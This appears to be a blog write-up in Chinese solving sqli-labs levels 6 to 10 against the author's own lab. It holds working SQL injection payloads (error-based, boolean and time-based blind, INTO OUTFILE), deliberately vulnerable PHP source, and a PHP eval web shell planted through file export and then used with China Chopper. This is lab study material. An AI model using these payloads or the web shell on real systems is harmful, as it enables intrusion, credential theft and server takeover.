# sqllab-Less6-10

sqllab-Less6-10

less6

1. 先不看源码(依靠前面几关的经验盲猜)

? id=1‘,没出现语法报错,说明不起作用,可能不是这个闭合方式

# sqllab-Less6-10

id=1"出现语法错误,说明"起作用,闭合方式应该是这个

# sqllab-Less6-10

id=1" --+,正常闭合,确定"是闭合方式

# sqllab-Less6-10

?id=1" or 1=1 --+, 可以正常执行,并且看到的结果都是这个,说明这关可能和前面一关一样是正确得不到信息,应该还是报错注入方式,和less5一样的。

# sqllab-Less6-10

?id=1" and updatexml(1, concat(1, database()),1) --+,基于updatexml的报错注入在less5那里有了详细说明,这里不再重复。可以看到这个是可以正常获取到信息的

# sqllab-Less6-10

2. 查询拿到相应的信息(基于报错一次获取的信息有限,只能慢慢来)
表名

?id=1" and updatexml(1, concat(1, (select group_concat(distinct table_name) from information_schema.columns where table_schema=database())),1) --+, 这个注入怎么写已经在less1-5中做了详细说明,不再重复。注意的是concat第二个参数写sql语句记得加()括起来

# sqllab-Less6-10

举个栗子,查看users表的字段名

对于直接写可能会存在括号看花的情况,可以选择先把查询语句单独写出来再粘贴到指定位置

?id=1" and updatexml(1, concat(1, (select group_concat(column_name) from information_schema.columns where table_name=‘users‘ and table_schema=database())), 1) --+

# sqllab-Less6-10

拿user表的用户名

?id=1" and updatexml(1, concat(1, (select group_concat(username) from users limit 0,5)),1) --+ , 写起来没难度这个,和less5中一样

# sqllab-Less6-10

举个例子,这里查Dumb用户的密码

?id=1" and updatexml(1, concat(1, (select password from users where username=‘Dumb‘)),1) --+
# sqllab-Less6-10

less6注入到这就完成了,再回过头看看源码:

if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);

// connectivity 

$id = ‘"‘.$id.‘"‘;
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	
    if($row)
	{
  	echo ‘<font size="5" color="#FFFF00">‘;	
  	echo ‘You are in...........‘;
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo ‘<font size="3"  color= "#FFFF00">‘;
	print_r(mysql_error());
	echo "</br></font>";	
	echo ‘<font color= "#0000ff" font size= 3>‘;	
	
	}
}
...

可以看到,这里的sql查询方式和前面某一关是一样的: 获取$id后再加个双引号,闭合方式也就是加个双引号,然后通过报错拿信息。

Less7

1. 盲猜测试

? ?id=1‘, 这个也是报了个错误,但是似乎和前面见到的有所不同
# sqllab-Less6-10

?id=1‘ --+, 依然报错
# sqllab-Less6-10

?id=1" --+,似乎过了,但好像没有什么信息,难道又是报错注入

# sqllab-Less6-10

?id=1" and updatexml(1, concat(1, database()),1)--+, 看结果报错注入也得不到信息

# sqllab-Less6-10

2. 没辙了,看源码
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=((‘$id‘)) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo ‘<font color= "#FFFF00">‘;	
  	echo ‘You are in.... Use outfile......‘;
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo ‘<font color= "#FFFF00">‘;
	echo ‘You have an error in your SQL syntax‘;
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

看的蒙了,这代码好像都是写死的,咱也不能耍无赖去改源码啊,还是百度吧。

3.补充知识点:数据库数据导出

mysql数据导出

select * from user into outfile "a.txt",也就是一个mysql导出数据的语法,这是相对路径,很容易看出这个是相对于当前库的

# sqllab-Less6-10

select * from users into outfile "C:/a.txt"

# sqllab-Less6-10

这个数据导出好像是需要配置权限的,但是我这个wamp集成环境中mysql5.6在配置中并没有找到secure_file_priv选项,可能是默认就有了。

在试试另一种数据导出写法(直接写入文本)

select ‘test‘ into outfile "C:/test.php"

# sqllab-Less6-10

4. 回到正题,通过导出文件注入(获取webshell,菜刀篇),此部分截图中一句话木马少了个分号

?id=-1‘)) union select ‘<?php @eval($_POST["cmd"]); ?>‘, ‘//2‘, 3 into outfile "C:/wamp/www/sqllab/shell.php" --+

结果:

# sqllab-Less6-10

# sqllab-Less6-10

第一个图有点奇怪,我使用的是联合查询,虽然前半部分没有结果,但后半部分是有的啊,不是有个select直接写入一些数据了吗?这是因为第二个查询是不会返回结果的
# sqllab-Less6-10

通过这个图可以看到,查询是直接写入到文件中的,这可能就类似编程语言中直接向文件输入流中写入,而不再对数据保存并返回。因此虽然无结果,但后面那部分的查询是执行了的。

但是这还有个问题,把前面改成?id=1后边不变,也是没有结果返回,但有同样是执行了。这里我也还存在疑惑。。。

现在看看shell.php文件中是什么,前半部分是一句话木马,就是利用php函数发送的一个请求(具体细节日后在写,自行百度),现在只需要知道这个有了文件,就可以通过中国菜刀直接获取webshell(web应用的控制权限)

# sqllab-Less6-10

访问一下这个php文件:
# sqllab-Less6-10

可以正常访问到,接下来就是通过菜刀获取webshell(次不傻瓜式操作),我这的菜刀是2016版的,对于这个菜刀的原理这里不说(因为我也还没弄清楚( ̄^ ̄゜)),右键点击添加。

补个下载链接https://github.com/raddyfiy/caidao-official-version

# sqllab-Less6-10

然后就是点击那个新添加的链接,如果那个一句话木马在浏览器能正常访问并且没有写错的话,就会看到下面这:
# sqllab-Less6-10

这个就是服务器的内容了,并且可以进行读写操作。这个工具的其他功能自己耍耍就会,毕竟不是原理性的东西。

再介绍一下使用菜刀获取数据库的。

首先,只通过一句话木马是可以拿到网站的文件系统的,但是并没有拿到数据库,网站和数据库也不是一回事。但是我们可以通过文件系统找到数据库的配置信息,至于配置文件怎么找,这个靠猜和一定经验。
# sqllab-Less6-10

通过这个图已经能看到数据库账号密码和host了,然后就可以在添加连接时再添加一些参数就能对数据库进行管理了。

# sqllab-Less6-10

添加之后右键进行数据库管理就能看到数据库了,并且可以执行sql语句
# sqllab-Less6-10

总体来说到这,这一部分就结束了,但是还存在一个问题,刚开始又是怎么知道网站在哪个目录下呢?这是自己搭建的靶机自然知道网站目录,但是不是自己的靶机怎么办。

这个问题涉及的是扫描方面,以后再详细说明。这里就先假设知道了目标主机的网站结构。(先水水|??ω?` ))

5. 不获取webshell进行查询(同样假设知道网站路径)

以查询表名和列名为例

?id=-1‘)) union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/info.html" --+

结果:

# sqllab-Less6-10

# sqllab-Less6-10

其他的也一样,less7就到这了

Less8

1. 盲猜注入点
?id=1‘
?id=1‘)
?id=1‘))

# sqllab-Less6-10

?id=1"
?id=1")
?id=1"))

# sqllab-Less6-10

几种方式都没有语法报错

?id=1‘ and sleep(5) --+

# sqllab-Less6-10

这种延时函数有效果,可以看到页面停顿了几秒才加载。说明这个sleep()是执行了的,也就是说很有可能是注入点。

?id=1‘ order by 4 --+,前面的1,2,3都是有页面内容的,第四次就和上边这个图一样了,初步猜测可能查询不到结果页面不显示信息。

?id=1‘ and updatexml(1,concat(1, database()), 1) --+,基于updatexml的报错注入也没有结果

?id=1‘ union select ‘1‘, ‘2‘, ‘3‘ into outfile "C:/wamp/www/sqllab/1.html" --+,数据导出的方式似乎还是有用的。

# sqllab-Less6-10

?id=-1‘ union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/2.html" --+

# sqllab-Less6-10

这样这一关的注入方法使用数据导出的方式还是能用的

2. 查看源码

经过上边一顿猜测,已经知道了数据导出的方式在第8关成功注入。

源码分析:

// take the variables
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo ‘<font size="5" color="#FFFF00">‘;	
  	echo ‘You are in...........‘;
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo ‘<font size="5" color="#FFFF00">‘;
	//echo ‘You are in...........‘;
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo ‘<font color= "#0000ff" font size= 3>‘;	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

查看之后可以发现,和上边的猜测是一致的,注入点为,查不到结果无信息显示,所以可以通过数据导出的方式注入。

less8补充:基于布尔的盲注判断注入点
?id=1‘
?id=1‘ and 1=1 --+			// 下面第二张图的结果
?id=1‘ and 1=2 --+			// 下面第一张图的结果,两者附加的条件分别为true,false,并且结果不同,所以初步判断‘注入可以执行后边的代码,判断‘为注入点

# sqllab-Less6-10

?id=1"
?id=1" and 1=1 --+
?id=1" and 1=1 --+
?id=1" or 1=1 --+		//这几个均是下面这个结果,排除"为注入点的可能

# sqllab-Less6-10

Less 9

1. 盲猜注入点并完成查询
?id=1‘
?id=1‘)
?id=1‘))
?id=1‘ or 1=1					//这几种均不报错
?id=1‘ and sleep(5) --+			//这个方式延时加载,猜测‘为注入点
?id=1" and sleep(5) --+			// 无延时,排除"注入点的可能
?id=1‘ union select 1,2,database() --+ 

这些都是这个结果:

# sqllab-Less6-10

从上面大致确定了注入点,但是几种正常方式都是同样的结果

?id=1‘ and updatexml(1, concat(1, database()), 1) --+  // 结果同上
?id=1‘ union select ‘1‘, ‘2‘, ‘3‘ into outfile "C:/wamp/www/sqllab/4.html" --+

# sqllab-Less6-10

可以看到数据导出注入正常

?id=1‘ union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/9_1.html" --+

# sqllab-Less6-10

连续几关都是同样的注入方式了,看看关卡说明

# sqllab-Less6-10

第八关是基于布尔的盲注,第九关是基于时间的盲注,而实际上在第8关的时候我的判断就已经是通过sleep()来判断了,并且也能判断出注入点。那再回过头补充一下基于布尔的盲注(已写到less8位置)

2. 源码分析:
// take the variables
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo ‘<font size="5" color="#FFFF00">‘;	
  	echo ‘You are in...........‘;
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo ‘<font size="5" color="#FFFF00">‘;
	echo ‘You are in...........‘;
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo ‘<font color= "#0000ff" font size= 3>‘;	
	
	}
}

这里容易看出,无论查不查得到结果页面显示的内容都是一样的,所以通过延时注入就能判断出注入点

Less10

1. 盲猜注入点

布尔盲注

?id=1‘
?id=1‘ and 1=1 --+
?id=1‘ and 1=2 --+
?id=1‘ or 1=1 --+		// 结果均为下图

# sqllab-Less6-10

?id=1"
?id=1" and 1=1 --+
?id=1" and 1=1 --+
?id=1" or 1=1 --+			// 这几种同上

时间盲注

?id=1‘ and sleep(5) --+			// 无效果,结果图同上
?id=1" and sleep(5) --+			//延时效果,猜测"为注入点
2. 知道注入点后开始,查询
?id=1" union select 1,2,database() --+	//无结果,效果同上
?id=1" and updatexml(1, concat(1, database()), 1) --+	// 无结果,效果同上
?id=1" union select ‘1‘, ‘2‘, ‘3‘ into outfile "C:/wamp/www/sqllab/less10_info.html" --+		// 可以写入

# sqllab-Less6-10

?id=1" union select table_name, column_name,1 from information_schema.columns where table_schema=database() into outfile "C:/wamp/www/sqllab/less10_info2.html" --+

# sqllab-Less6-10

到这这一关就完成了

3. 源码分析
if(isset($_GET[‘id‘]))
{
$id=$_GET[‘id‘];
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘ID:‘.$id."\n");
fclose($fp);

// connectivity 

$id = ‘"‘.$id.‘"‘;
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo ‘<font size="5" color="#FFFF00">‘;	
  	echo ‘You are in...........‘;
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo ‘<font size="5" color="#FFFF00">‘;
	echo ‘You are in...........‘;
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo ‘<font color= "#0000ff" font size= 3>‘;	
	
	}
}

可以看出,这个源码和前一关的基本一致,只是注入点换成了"

less6-10, 写完。

第一次做这个sqllab,这些也都是按照自己的思路想到什么就写什么,格式上还是比较凌乱的,下一次尽量统一每一关的解答格式吧。

# sqllab-Less6-10

上一篇:IDEA根据数据库表生成pojo对象


下一篇:kubernetes(四)之Docker存储卷